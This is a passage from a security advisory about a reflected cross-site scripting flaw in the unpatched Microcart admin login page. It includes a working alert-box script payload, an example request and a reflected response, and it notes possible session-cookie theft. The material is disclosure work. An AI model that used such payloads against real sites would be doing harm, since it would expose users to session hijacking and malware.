Details
=======


/_admin/index.php
-----------------

A generic parameter on the /_admin/index.php page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL via the query string or following a ‘/’ character. This code is then passed into a form action parameter without sanitisation, and executed by the browser.

Injecting the following Javascript code into a generic parameter on the /_admin/index.php page will trigger the vulnerability, causing the page to return a Javascript alert box.

"><script>alert('xsstest')</script>

Example Request:

GET /microcart/_admin/index.php/"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: https://192.168.0.6/microcart/_admin/

Example Response:

--- SNIP ---
     <div id="main">
<h2>Login</h2>
           <p>Please enter your credentials to continue.</p>
           <form action="/microcart/_admin/index.php/"><script>alert('xsstest')</script>" method="post">       <table>
                     <tr><th>Username:</th><td><input type="text" name="username" /></td></tr>
                     <tr><th>Password:</th><td><input type="password" name="password" /></td></tr>
                     <tr><td colspan="2"><input type="submit" name="login" value="Login" /></td></tr>
                </table>
           </form>    </div>
--- SNIP ---



Impact
======

An attacker might entice users to follow a malicious URL, or visit a malicious page that submits arbitrary code to a Microcart application. If they do so, Javascript code might execute in their browser, potentially stealing session cookies or downloading malware onto their machine.


Solution
========

The affected product is not under active development and, at the time of writing, no patch has been released by the vendor.
